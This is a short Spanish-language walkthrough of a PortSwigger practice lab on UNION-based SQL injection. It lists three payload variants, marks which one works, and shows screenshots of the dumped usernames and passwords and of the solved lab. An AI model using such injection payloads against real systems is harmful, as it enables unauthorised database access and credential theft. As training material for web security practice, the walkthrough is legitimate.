# Laboratorio: ataque UNION de inyección SQL , recuperando datos de otras tablas

La base de datos contiene una tabla diferente llamada `users`, con columnas llamadas `username`y `password`.

Para resolver la práctica de laboratorio, realizamos un ataque [UNION de inyección SQL](https://portswigger.net/web-security/sql-injection/union-attacks) que recupere todos los nombres de usuario y contraseñas, y utilizamos la información para iniciar sesión como `administrator` usuario.

***

La consulta SQL que vamos a inyectar podrá ser del tipo:

```sql
'+UNION+SELECT+username+password+FROM+users-- #ERROR SERVER
'+UNION+SELECT+username,password+FROM+users-- #FORMA CORRECTA
'+UNION+SELECT+username,password,FROM,users-- #ERROR SERVER
```

<figure><img src="https://2827710683-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FV9yg1NBoB0HDHj681gSk%2Fuploads%2FaViVZm2IoHqV3KjKjeBs%2Fimagen.png?alt=media&#x26;token=8ad5ad5b-acf2-4758-97a8-5ff4450ccef1" alt=""><figcaption></figcaption></figure>

Cuando la embarramos con la consulta ese es el error que salta.

En cambio ahora que hicimos la consulta correcta con la opcion numero 2, nos mostro la misma consulta junto con los usernames y passwords:

<figure><img src="https://2827710683-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FV9yg1NBoB0HDHj681gSk%2Fuploads%2FnRAeUZUAbBcT5ZnHr69N%2Fimagen.png?alt=media&#x26;token=b39657c0-6b1d-40ae-89b1-f7efabf8d48a" alt=""><figcaption><p>:)</p></figcaption></figure>

<figure><img src="https://2827710683-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FV9yg1NBoB0HDHj681gSk%2Fuploads%2FJHoUNzjsxX4llUVWEpnE%2Fimagen.png?alt=media&#x26;token=f76dc37d-40c9-4d46-a90b-5b5370a3c423" alt=""><figcaption><p>Solved!</p></figcaption></figure>

Enhorabuena, lo pasamos.
